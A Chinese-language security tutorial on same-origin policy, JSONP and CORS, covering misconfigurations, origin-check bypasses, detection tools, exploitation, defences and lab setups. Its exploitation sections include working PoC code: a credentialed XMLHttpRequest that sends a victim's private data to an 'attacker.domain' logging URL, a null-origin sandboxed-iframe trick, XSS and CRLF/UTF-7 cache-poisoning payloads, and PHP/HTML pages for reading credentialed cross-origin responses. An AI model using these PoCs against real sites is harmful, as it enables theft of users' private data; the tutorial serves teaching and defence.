一、基础知识
1. 同源策略(SOP,Same-origin policy)
同源策略限制了不同源之间如何进行资源交互,是用于隔离潜在恶意文件的重要安全机制。 是否同源由URL决定,URL由协议、域名、端口和路径组成,如果两个URL的协议、域名和端口相同,则表示他们同源。
同源策略下的跨域请求
同源判断示例:URL地址 http://www.example.com/dir/page.html
Compared URL | Outcome | Reason |
---|---|---|
http://www.example.com/dir/page2.html | Success | Same protocol, host and port |
http://www.example.com/dir2/other.html | Success | Same protocol, host and port |
http://domain-ip/dir/page2.html | Failure | Different host (exact match required) |
http://username:password@www.example.com/dir2/other.html | Success | Same protocol, host and port |
http://www.example.com:81/dir/other.html | Failure | Same protocol and host but different port |
https://www.example.com/dir/other.html | Failure | Different protocol |
http://en.example.com/dir/other.html | Failure | Different host |
http://example.com/dir/other.html | Failure | Different host (exact match required) |
http://v2.www.example.com/dir/other.html | Failure | Different host (exact match required) |
http://www.example.com:80/dir/other.html | Depends | Port explicit. Depends on implementation in browser |
2. AJAX(Asynchronous JavaScript + XML,异步JavaScript和XML)
AJAX本身不是一种新技术,而是用来描述一种使用现有技术集合/标准的新方法,包括: HTML or XHTML
、Cascading Style Sheets
、JavaScript
、The Document Object Model
、XML
、XSLT
以及 XMLHttpRequest
object。当使用结合了这些技术的AJAX模型以后, 网页应用能够快速地将增量更新呈现在用户界面上,而不需要重新加载整个页面。这使得程序能够更快地回应用户的操作。
尽管X在Ajax中代表XML, 但由于JSON的许多优势,比如更加轻量以及作为Javascript的一部分,目前JSON的使用比XML更加普遍。JSON和XML都被用于在Ajax模型中打包信息。
二、跨域/放宽同源策略
1. AJAX跨域
1.1 JSONP(JSON with Padding)
JSONP就是利用 <script>
标签的跨域能力实现跨域数据的访问,请求动态生成的JavaScript脚本同时带一个callback函数名作为参数。服务端收到请求后,动态生成脚本产生数据,并在代码中以产生的数据为参数调用callback函数。
1.1.1 实现原理
1.1.2 流程图
1.2 CORS(Cross-origin resource sharing)
CORS是一个W3C标准,全称是"跨域资源共享"(Cross-origin resource sharing)。通过该标准,可以允许浏览器向跨源服务器发出 XMLHttpRequest
请求,从而克服了AJAX
只能同源使用的限制,进而读取跨域的资源。CORS允许Web服务器通知Web浏览器应该允许哪些其他来源从该Web服务器的回复中访问内容
1.2.1 实现原理
1.2.2 流程图
未启用CORS
CORS未设置
Access-Control-Allow-Credentials
,则浏览器发送的请求不会带有用户的身份数据(Cookie或者HTTP身份数据)
1.2.3 CORS错误配置问题总结
1.2.3.1 ACAO
与ACAC
头错误配置
利用空格来分隔多个源 Access-Control-Allow-Origin: https://example1.com https://example2.com
利用通配符信任所有的子域名 Access-Control-Allow-Origin: *.example.com
浏览器报错
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Nginx 错误配置示例:
add_header "Access-Control-Allow-Origin" $http_origin;
add_header “Access-Control-Allow-Credentials” “true”;
动态生成访问控制策略的方法:在
Access-Control-Allow-Origin
中反射请求的Origin值。该配置可导致任意攻击者网站可以直接跨域读取其资源内容。
1.2.3.2 Origin校验绕过
target.domain
允许example.com
跨域,对example.com
进行校验
匹配方式 | 校验内容 | 绕过方式 |
---|---|---|
包含匹配 | 只校验是否包含example.com | 构造Origin: https://malicious.example.com |
前缀匹配 | 只校验前缀是否为example.com | 构造Origin: https://example.com.malicious.com. |
后缀匹配 | 只校验后缀是否为example.com | 构造Origin: https://maliciousexample.com |
子域名匹配 | 只校验是否为子域名 | 控制目标站点某一子域名或利用存在XSS漏洞的子域名 |
尽量避免使用正则表达式进行校验
1.2.3.3 信任null
源
开发者在网站上配置信任null
源,用于调试代码(页面跳转、与本地file页面共享数据)
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
攻击者可从任意域下通过iframe sandbox
构造Origin
为null
的跨域请求
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,’>
请求包
GET /handler
Host: target.local
Origin: null
响应包
HTTP/1.1 200 OK
Acess-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
1.2.3.4 HTTPS域信任HTTP域
HTTPS协议被设计用于在不安全的网络中进行安全通信。即使在中间人网络环境下,攻击者也应该无法读取HTTPS网站的内容。但是如果该HTTPS网站配置了CORS且信任HTTP域,那么中间人攻击者可以先劫持受信任HTTP域,然后通过这个域发送跨域请求到HTTPS网站,间接读取HTTPS域下的受保护内容。
1.2.3.5 信任自身全部子域
为了防止某个子域上XSS漏洞的危害其他子域,浏览器设计了Cookie
的httponly
标志,用于限制Javascript读取Cookie,因此某个子域XSS不能读取带有httponly
标记的Cookie
,难以窃取其他重要子域上的敏感内容。 但是如果这个域配置了CORS且信任全部子域,那么攻击者可以利用其他任意子域上XSS漏洞,发送跨域请求到目标重要域网站,从而获取敏感内容。
1.2.3.6 Origin:*
与 Credentials:true
共用
浏览器报错
Access-Control-Allow-Origin:*
Access-Control-Allow-Credentials:true
为避免该配置产生浏览器报错,部分Web框架将Access-Control-Allow-Origin:*
与Access-Control-Allow-Credentials:true
转换为反射Origin,导致产生安全问题
1.2.3.7 缺少Vary:Origin
头
当 Access-Control-Allow-Origin
是被动态生成的话,则需指定 Vary: Origin
标头,避免攻击者利用缓存进行攻击。该头部字段向客户端表明,服务器端的返回内容将根据请求中 Origin
的值发生变化。
Vary: Origin头详解https://zhuanlan.zhihu.com/p/38972475
2. Cookie跨域
Cookies 使用不同的源定义方式。一个页面可以为本域和任何父域设置cookie,只要是父域不是公共后缀(public suffix)即可。Firefox 和 Chrome 使用 Public Suffix List 决定一个域是否是一个公共后缀(public suffix)。Internet Explorer使用其自己的内部方法来确定域是否是公共后缀。不管使用哪个协议(HTTP/HTTPS)或端口号,浏览器都允许给定的域以及其任何子域名(sub-domains) 访问 cookie。设置 cookie 时,可以使用Domain
,Path
,Secure
,和Http-Only
标记来限定其访问性。
Cookie共享:https://localhost:8080/ 和 http://localhost:8081/
三、JSONP漏洞挖掘、利用与防御
3.1 挖掘
方法一:GoogleHacking
语法site:target.com inurl:?callback
方法二:浏览器-调试-搜索关键字(json/jsonp/callback)
3.2 利用案例
http://www.anquan.us/static/bugs/wooyun-2016-0204941.htmlhttp://www.anquan.us/static/bugs/wooyun-2015-0118712.html
3.3 防御
referer校验/过滤增加CSRF Token
防御同XSS漏洞结合:严格按照 JSON 格式标准输出 Content-Type 及编码( Content-Type : application/json; charset=utf-8 )对callback函数的长度进行限制、内容进行特殊字符的过滤
四、CORS漏洞检测、利用与防御
4.1 检测
方法一
Proxy
-Options
-Match and Replace
Filter by search term
中输入Access-Control-Allow-Origin: foo.example.org
方法二
方法三
curl cors漏洞站点 -H "Origin:https://example.com/" -I
方法四
https://github.com/chenjj/CORScannerhttps://github.com/lc/theftfuzzer
4.2 利用
4.2.1 存在用户凭证
“Access-Control-Allow-Origin” value | “Access-Control-Allow-Credentials” value | 是否可利用 | 备注 |
---|---|---|---|
https://attacker.com | true | 是 | 最佳实践 |
* | true | 否 | 浏览器报错 |
null | true | 是 | 任意网站使用沙盒iframe来获取null 源 |
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,’>
利用过程
1.创建一个JavaScript脚本去发送CORS请求,POC关键代码如下:
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open(“get”,”https://vulnerable.domain/api/private-data”,true);
req.withCredentials = true;
req.send();
function reqListener() {
location=”//attacker.domain/log?response=”+this.responseText;
};
2.当带有目标系统用户凭据的受害者访问带有上述代码的页面时,浏览器就会发送下面的请求到存在CORS漏洞的服务器
GET /api/private-data HTTP/1.1
Host: vulnerable.domain
Origin: https://attacker.domain/
Cookie: JSESSIONID=<redacted>
3.响应包
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Access-Control-Allow-Origin: https://attacker.domain
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Access-Control-Allow-Origin,Access-Control-Allow-Credentials
Vary: Origin
Expires: Thu, 01 Jan 1970 12:00:00 GMT
Last-Modified: Wed, 02 May 2018 09:07:07 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: application/json;charset=ISO-8859-1
Date: Wed, 02 May 2018 09:07:07 GMT
Connection: close
Content-Length: 149
{"id":1234567,"name":"Name","surname":"Surname","email":"email@target.local","account":"ACT1234567","balance":"123456,7","token":"to
p-secret-string"}
4.因为服务器发送了头部字段“Access-Control-Allow-*”给客户端,所以,受害者浏览器允许包含恶意JavaScript代码的页面访问用户的隐私数据。
4.2.2 不存在用户凭证
“Access-Control-Allow-Origin” value | 是否可利用 |
---|---|
https://attacker.com | 是 |
null | 是 |
* | 是 |
利用方式
4.2.2.1 绕过基于IP的认证
如果目标应用程序与受害者的网络可达,并且目标应用程序使用IP地址作为身份验证的方式,则黑客会利用受害者的浏览器作为代理去访问那些目标应用程序并且可以绕过那些基于IP的身份验证。
4.2.2.2 客户端缓存中毒
该配置下,攻击者可结合其他的漏洞进行攻击。例如,数据报文头部中包含 X-User
标头,其值未进行任何输入验证、输出编码。
请求包
GET /login HTTP/1.1
Host: www.target.local
Origin: https://attacker.domain/
X-User: <svg/onload=alert(1)>
响应包
Access-Control-Allow-Origin
已被设置,Access-Control-Allow-Credentials: true
与Vary: Origin
头未被设置
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.domain/
…
Content-Type: text/html
…
Invalid user: <svg/onload=alert(1)>
攻击者可构造存在恶意的XSS payload页面,诱使受害者触发。
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','http://www.target.local/login',true);
req.setRequestHeader('X-User', '<svg/onload=alert(1)>');
req.send();
function reqListener() {
location='http://www.target.local/login';
}
利用效果
若不存在CORS漏洞,则上述方式不能被利用,因为无法让受害者浏览器发送自定义头部,但是如果存在CORS漏洞,则可用
XMLHttpRequest
进行实现
防御方法当 Access-Control-Allow-Origin
是被动态生成的话,需指定 Vary: Origin
标头。该头部字段向客户端表明,服务器端的返回内容将根据请求中 Origin
的值发生变化。
4.2.2.3 服务器端缓存中毒
该配置下,攻击者可结合其他的漏洞进行攻击。例如,利用CORS的错误配置注入任意HTTP头部,将其保存在服务器端缓存,可用来构造存储型XSS
利用条件:存在服务器端缓存、能够反射
Origin
头部、不会检查Origin
头部中的特殊字符,如\r
利用方式:攻击IE/Edge用户(IE/Edge使用
\r
作为的HTTP头部字段的终结符)
请求
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
回车 代码:CR(carriage return) ASCII码:\ r ,十六进制:0x0d,回车的作用只是移动光标至该行的起始位置换行 代码:LF(line feed) ASCII码:\ n ,十六进制:0x0a,换行至下一行行首起始位置
IE解析后的响应报文
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
上述方式无法直接利用,因为攻击者无法保证受害者浏览器会提前发送畸形的消息头。如果攻击者能提前发送畸形的
Origin
消息头,比如利用代理或者命令行的方式发送,则服务器就会缓存这样的返回报文并作用于其他用户。上例中,攻击者将页面的编码设置为UTF-7
,可引发XSS漏洞。UTF-7 XSShttp://www.xfcxc.top/index.php/2018/07/20/utf-7-xss/https://sakurasec.com/utf-7-xss/http://www.91ri.org/3979.html
4.3 防御
4.3.1 通用防御方式
- 关闭不必要开启的CORS
- 白名单限制:定义“源”的白名单,避免使用正则表达式,不要配置
Access-Control-Allow-Origin
为通配符*
或null
,严格效验来自请求数据包中的Origin
的值 - 仅允许使用安全协议,避免中间人攻击
- 尽可能的返回
Vary: Origin
头部,以避免攻击者利用浏览器缓存进行攻击 - 避免将
Access-Control-Allow-Credentials
标头设置为默认值true
,跨域请求若不存在必要的凭证数据,则根据实际情况将其设置为false
- 限制跨域请求允许的方法,
Access-Control-Allow-Methods
最大限度地减少所涉及的方法,降低风险 - 限制浏览器缓存期限:建议通过
Access-Control-Allow-Methods
和Access-Control-Allow-Headers
头部,限制浏览器缓存信息的时间。通过配置Access-Control-Max-Age
标头来完成,该头部接收时间数作为输入,该数字是浏览器保存缓存的时间。配置相对较低的值,确保浏览器在短时间内可以更新策略 - 仅在接收到跨域请求时才配置有关于跨域的头部,并确保跨域请求是合法的源,以减少攻击者恶意利用的可能性。
4.3.2 常见组件/框架CORS默认配置总结
五、靶场及POC
5.1 JSONP
DoraBox/PoCBox
JSONP-POC
客户端实现 callbackvalue
函数
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP-POC</title>
</head>
<body>
<script type="text/javascript">
function callbackvalue(jsonp)
{
alert(jsonp.name);
}
</script>
<script type="text/javascript" src="http://domain/contents?jsoncallback=callbackvalue"></script>
</body>
</html>
jQuery
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP-POC</title>
<script src="https://code.jquery.com/jquery-3.4.1.js"></script>
</head>
<body>
<script type="text/javascript">
$.getJSON("http://domain/contents?jsoncallback=?", function(callbackvalue){
alert(callbackvalue.参数);
});
</script>
</body>
</html>
5.2 CORS
bWAPP靶场
bWAPP_latest.ziphttps://github.com/gh0stkey/DoraBoxhttps://github.com/gh0stkey/PoCBoxhttps://github.com/trustedsec/cors-pochttps://github.com/nccgroup/CrossSiteContentHijacking
CORS-POC
<!DOCTYPE html>
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhttp.open("GET", "https://target.com/info/", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>
<html>
<head>
<script>
function cors() {
var r = new XMLHttpRequest();
r.onreadystatechange = function() {
if (r.readyState == 4 && r.status == 200) {
alert(r.responseText);
}
};
r.open("GET", "https://target.com/info/", true);
r.send();
}
</script>
</head>
<body>
<button type="button" onclick="cors()">Exploit</button>
</body>
</html>
index.html
<!DOCTYPE html>
<html>
<head>
<title>CORS PoC</title>
</head>
<body>
<center>
GET Request
<form action="./get.php">
URL: <input type="text" name="url"><br>
<input type="submit" value="Attack">
</form>
<br><br>
POST Request
<form action="./post.php" id="postform">
URL: <input type="text" name="url"><br>
Data: <br><textarea rows="4" cols="50" name="data" form="postform"></textarea><br>
<input type="submit" value="Attack">
</form>
</center>
</body>
</html>
get.php
<!DOCTYPE html>
<html>
<head>
<title>CORS TEST</title>
</head>
<body>
<div id='output'></div>
<script type="text/javascript">
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','<?php echo @$_GET["url"];?>',true);
// req.setRequestHeader("Content-Type","application/x-www-form-urlencoded;");
req.withCredentials = true;
req.send();
function reqListener() {
var output = document.getElementById('output');
output.innerHTML = "URL: <?php echo @$_GET["url"];?><br><br>Response:<br><textarea style='width: 659px; height: 193px;'>" + req.responseText + "</textarea>";
// document.write(this.responseText);
};
</script>
</body>
</html>
post.html
<!DOCTYPE html>
<html>
<head>
<title>CORS TEST</title>
</head>
<body>
<div id='output'></div>
<script type="text/javascript">
var req = new XMLHttpRequest();
var data = "<?php echo @$_GET["data"];?>";
req.onload = reqListener;
req.open('post','<?php echo @$_GET["url"];?>',true);
req.setRequestHeader("Content-Type","application/x-www-form-urlencoded;");
req.withCredentials = true;
req.send(data);
function reqListener() {
var output = document.getElementById('output');
output.innerHTML = "URL: <?php echo @$_GET["url"];?><br>Data: <?php echo @$_GET["data"];?><br><br>Response:<br><textarea style='width: 659px; height: 193px;'>" + req.responseText + "</textarea>";
// document.write(this.responseText);
};
</script>
</body>
</html>
六、对比及区别
6.1 CORS与JSONP的区别
JSONP只支持GET
请求,支持老式浏览器
<script>
标签只能发送GET
请求
CORS支持所有类型的HTTP请求
6.2 JSON与JSONP的区别
JSON为数据格式JSONP为跨域方式
6.3 AJAX与HTTP请求的区别
6.3.1 本质:
AJAX就是浏览器发出的HTTP请求,存在同源策略限制AJAX是发送HTTP请求的一种方式AJAX请求的XMLHttpRequest对象就是浏览器开放给JS调用HTTP请求使用的
6.3.2 不同点:
AJAX请求受到浏览器的同源策略限制,存在跨域问题AJAX在进行CORS非简单请求时,浏览器会发出OPTIONS预检请求AJAX会自动带上同域CookieAJAX与HTTP请求相比,存在浏览器的封装(预处理+特定限制)
6.4 CSRF与CORS漏洞的区别
6.4.1 相同点
都需要借助第三方网站都需要借助AJAX都需要用户登陆
6.4.2 不同点
第三方网站可利用CORS漏洞读取受害者的敏感信息第三方网站可利用CSRF漏洞代替受害者执行敏感操作
七、参考链接
https://www.bedefended.com/papers/cors-security-guide
https://blog.csdn.net/niexinming/article/details/82719092
http://www.ruanyifeng.com/blog/2016/04/same-origin-policy.html
http://www.ruanyifeng.com/blog/2016/04/cors.html
https://en.wikipedia.org/wiki/Same-origin_policy
https://en.wikipedia.org/wiki/Cross-origin_resource_sharing
https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS
https://developer.mozilla.org/zh-CN/docs/Web/Guide/AJAX
https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest
https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy
https://dailc.github.io/2017/03/22/ajaxCrossDomainSolution.html
https://dailc.github.io/2018/01/04/security_ajaxissafeornot.html
https://juejin.im/post/5b0bac706fb9a009e70e9381#heading-4
https://www.w3.org/TR/cors/#handling-a-response-to-a-cross-origin-request
https://websec.readthedocs.io/zh/latest/vuln/xss/sop.html
https://www.trustedsec.com/2018/04/cors-findings/
https://cloud.tencent.com/developer/article/1436061
https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties
https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/